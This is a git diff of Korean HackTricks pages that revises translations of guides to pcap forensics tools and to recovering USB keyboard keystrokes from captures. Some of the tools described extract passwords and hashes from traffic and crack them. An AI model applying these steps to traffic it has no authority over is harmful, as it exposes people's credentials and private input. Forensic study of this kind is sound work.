[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어 pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다.
|
||||
|
||||
**설치**
|
||||
```bash
|
||||
|
@ -64,26 +65,26 @@ sudo apt-get install xplico
|
|||
```
|
||||
_**127.0.0.1:9876**_에 _**xplico:xplico**_ 자격 증명으로 액세스합니다.
|
||||
|
||||
그런 다음 **새로운 사례**를 만들고 사례 내에서 **새로운 세션**을 만들고 **pcap** 파일을 **업로드**합니다.
|
||||
그런 다음 **새로운 사례**를 만들고 해당 사례 내에 **새로운 세션**을 만들어 **pcap 파일을 업로드**합니다.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Xplico와 마찬가지로 pcap에서 **객체를 분석하고 추출하는 도구**입니다. [**여기에서**](https://www.netresec.com/?page=NetworkMiner) 무료 버전을 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\
|
||||
이 도구는 패킷에서 **다른 정보를 분석**하여 더 **빠르게** 무슨 일이 일어났는지 알 수 있도록 도움이 됩니다.
|
||||
Xplico와 마찬가지로 이 도구는 pcap에서 **객체를 분석하고 추출**하는 데 사용됩니다. 무료 버전을 [**여기**](https://www.netresec.com/?page=NetworkMiner)에서 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\
|
||||
이 도구는 또한 **더 빠른** 방식으로 **패킷에서 다른 정보를 분석**하는 데 유용합니다.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
[**여기에서 NetWitness Investigator를 다운로드**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)할 수 있습니다. **(Windows에서 작동합니다)**.\
|
||||
이는 패킷을 **분석**하고 정보를 유용한 방식으로 **정렬하여 내부에서 무슨 일이 일어나고 있는지 알 수 있는** 또 다른 유용한 도구입니다.
|
||||
[**여기**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)에서 **NetWitness Investigator를 다운로드**할 수 있습니다 **(Windows에서 작동)**.\
|
||||
이 도구는 **패킷을 분석**하고 정보를 유용한 방식으로 정렬하여 **내부에서 무슨 일이 일어나고 있는지 파악**하는 데 유용합니다.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* 사용자 이름과 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 사용자 이름 및 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 인증 해시 추출 및 Hashcat을 사용하여 해독 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* 시각적 네트워크 다이어그램 작성 (네트워크 노드 및 사용자)
|
||||
* DNS 쿼리 추출
|
||||
* 모든 TCP 및 UDP 세션 재구성
|
||||
* 파일 조각 추출
|
||||
* 파일 조각내기
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -91,13 +92,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
pcap 내에서 **무언가**를 **찾고** 있다면 **ngrep**을 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다:
|
||||
만약 pcap 내부에서 **무언가를** 찾고 있다면 **ngrep**를 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### 조각내기
|
||||
### 조각 모음
|
||||
|
||||
일반적인 조각내기 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
|
||||
일반적인 조각 모음 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
@ -105,11 +106,11 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
|
|||
|
||||
### 자격 증명 캡처
|
||||
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 실시간 인터페이스에서 자격 증명을 구문 분석할 수 있습니다.
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석할 수 있습니다.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사 중 하나로 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 데 봉사**하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 뜨거운 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -125,34 +126,22 @@ echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz
|
|||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**pcap 확인**
|
||||
|
||||
To analyze network traffic and investigate potential security incidents, it is often necessary to inspect pcap (Packet Capture) files. These files contain recorded network packets that can provide valuable information about network communications.
|
||||
|
||||
To check a pcap file, you can use various tools such as Wireshark, tcpdump, or tshark. These tools allow you to open the pcap file and view its contents, including the captured packets, their headers, and payload data.
|
||||
|
||||
By inspecting the pcap file, you can identify various network activities, such as HTTP requests, DNS queries, FTP transfers, or even suspicious traffic patterns. This information can help you understand the behavior of network devices, detect anomalies, and uncover potential security breaches.
|
||||
|
||||
When analyzing a pcap file, it is important to focus on specific aspects, such as source and destination IP addresses, port numbers, protocol types, and packet payloads. By examining these details, you can gain insights into the network traffic and identify any malicious or unauthorized activities.
|
||||
|
||||
In addition to manual inspection, you can also automate the analysis of pcap files using scripting languages like Python. This allows you to extract specific information from the pcap file, filter packets based on criteria, and perform more advanced analysis techniques.
|
||||
|
||||
Overall, checking pcap files is an essential step in the forensic investigation process. It helps uncover evidence, understand network behavior, and identify potential security threats.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)는 다음과 같은 기능을 수행하는 도구입니다.
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)은 다음을 수행하는 도구입니다.
|
||||
|
||||
* PCAP 파일을 읽고 HTTP 스트림을 추출합니다.
|
||||
* 압축된 스트림을 gzip으로 해제합니다.
|
||||
* 모든 파일을 Yara로 스캔합니다.
|
||||
* 모든 압축된 스트림을 gzip으로 해제합니다.
|
||||
* Yara로 모든 파일을 스캔합니다.
|
||||
* report.txt를 작성합니다.
|
||||
* 필요한 경우 일치하는 파일을 디렉토리에 저장합니다.
|
||||
* 선택적으로 일치하는 파일을 디렉토리에 저장합니다.
|
||||
|
||||
### 악성코드 분석
|
||||
|
||||
알려진 악성코드의 지문을 찾을 수 있는지 확인하세요:
|
||||
알려진 악성코드의 지문을 찾을 수 있는지 확인하십시오:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -160,11 +149,9 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들은 의심스러운 또는 악성 활동의 조사를 지원하기 위해 Zeek를 네트워크 보안 모니터(NSM)로 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들은 의심스러운 또는 악의적인 활동의 조사를 지원하기 위해 Zeek를 네트워크 보안 모니터(NSM)로 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다.
|
||||
|
||||
기본적으로 `zeek`가 생성하는 로그는 **pcap**이 아닙니다. 따라서 **다른 도구**를 사용하여 pcap에 대한 정보를 분석해야 합니다.
|
||||
|
||||
### 연결 정보
|
||||
기본적으로 `zeek`에 의해 생성된 로그는 **pcap**이 아닙니다. 따라서 **pcap에 대한 정보**가 있는 로그를 분석하기 위해 **다른 도구**를 사용해야 합니다.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -215,57 +202,6 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS 정보
|
||||
|
||||
DNS(Domain Name System)은 인터넷에서 도메인 이름을 IP 주소로 변환하는 시스템입니다. DNS 정보는 패킷 캡처 파일(pcap)을 검사하여 도메인 이름과 관련된 정보를 얻는 데 사용될 수 있습니다.
|
||||
|
||||
#### DNS 쿼리
|
||||
|
||||
DNS 쿼리는 도메인 이름을 IP 주소로 변환하기 위해 DNS 서버에 보내는 요청입니다. pcap 파일을 검사하여 DNS 쿼리를 확인할 수 있습니다. DNS 쿼리는 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
|
||||
#### DNS 응답
|
||||
|
||||
DNS 응답은 DNS 서버에서 도메인 이름에 대한 IP 주소 또는 기타 정보를 반환하는 것입니다. pcap 파일을 검사하여 DNS 응답을 확인할 수 있습니다. DNS 응답은 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class] [TTL] [Answer Type] [Answer Data]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
- TTL (Time to Live): DNS 레코드의 유효 기간
|
||||
- Answer Type: 응답의 유형 (예: A, AAAA, MX 등)
|
||||
- Answer Data: 응답 데이터 (예: IP 주소, 메일 서버 등)
|
||||
|
||||
#### DNS 레코드 유형
|
||||
|
||||
DNS 레코드 유형은 DNS 쿼리 및 응답에서 사용되는 다양한 유형의 정보를 나타냅니다. 일부 일반적인 DNS 레코드 유형은 다음과 같습니다:
|
||||
|
||||
- A: 도메인 이름에 대한 IPv4 주소
|
||||
- AAAA: 도메인 이름에 대한 IPv6 주소
|
||||
- MX: 도메인 이름에 대한 메일 서버
|
||||
- NS: 도메인 이름에 대한 네임 서버
|
||||
- CNAME: 도메인 이름에 대한 별칭
|
||||
- TXT: 도메인 이름에 대한 텍스트 정보
|
||||
|
||||
#### DNS 정보 추출
|
||||
|
||||
pcap 파일을 검사하여 DNS 정보를 추출하는 방법은 다음과 같습니다:
|
||||
|
||||
1. pcap 파일을 Wireshark 또는 tcpdump와 같은 패킷 캡처 도구로 엽니다.
|
||||
2. DNS 쿼리 및 응답 패킷을 필터링합니다.
|
||||
3. 필터링된 패킷에서 DNS 쿼리 및 응답 정보를 확인합니다.
|
||||
4. 도메인 이름, IP 주소, DNS 레코드 유형 등의 정보를 기록합니다.
|
||||
|
||||
DNS 정보 추출은 네트워크 트래픽 분석 및 보안 조사에 유용한 도구입니다.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
@ -300,20 +236,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 데 봉사**하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로에서 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **자신의 해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
만약 많은 중단이 있는 USB 연결의 pcap이 있다면, 아마도 USB 키보드 연결일 것입니다.
|
||||
만약 USB 연결의 pcap 파일에 많은 중단이 있다면 아마도 USB 키보드 연결일 것입니다.
|
||||
|
||||
다음과 같은 Wireshark 필터가 유용할 수 있습니다: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
"02"로 시작하는 데이터는 shift를 사용하여 눌린 것임을 알 수 있습니다.
|
||||
"02"로 시작하는 데이터는 shift를 사용하여 누른 것임을 알아두는 것이 중요할 수 있습니다.
|
||||
|
||||
이에 대한 자세한 정보와 분석하는 방법에 대한 몇 가지 스크립트를 찾을 수 있습니다:
|
||||
이를 분석하는 방법 및 몇 가지 스크립트에 대한 자세한 정보는 다음에서 확인할 수 있습니다:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
키보드와의 USB 통신을 포함한 pcap이 있다면 다음과 같은 도구 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)를 사용하여 통신 내용을 얻을 수 있습니다:
|
||||
만약 다음과 같은 키보드의 USB 통신을 포함한 pcap 파일이 있다면:
|
||||
|
||||
![](<../../../.gitbook/assets/image (613).png>)
|
||||
|
||||
통신 내용에 작성된 내용을 얻기 위해 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 도구를 사용할 수 있습니다:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
다음 링크에서 더 많은 정보를 읽고 분석하는 방법에 대한 스크립트를 찾을 수 있습니다:
|
||||
다음은 USB 키스트로크를 pcap 파일에서 역공학하는 방법에 대한 정보 및 스크립트를 찾을 수 있는 추가 정보입니다:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
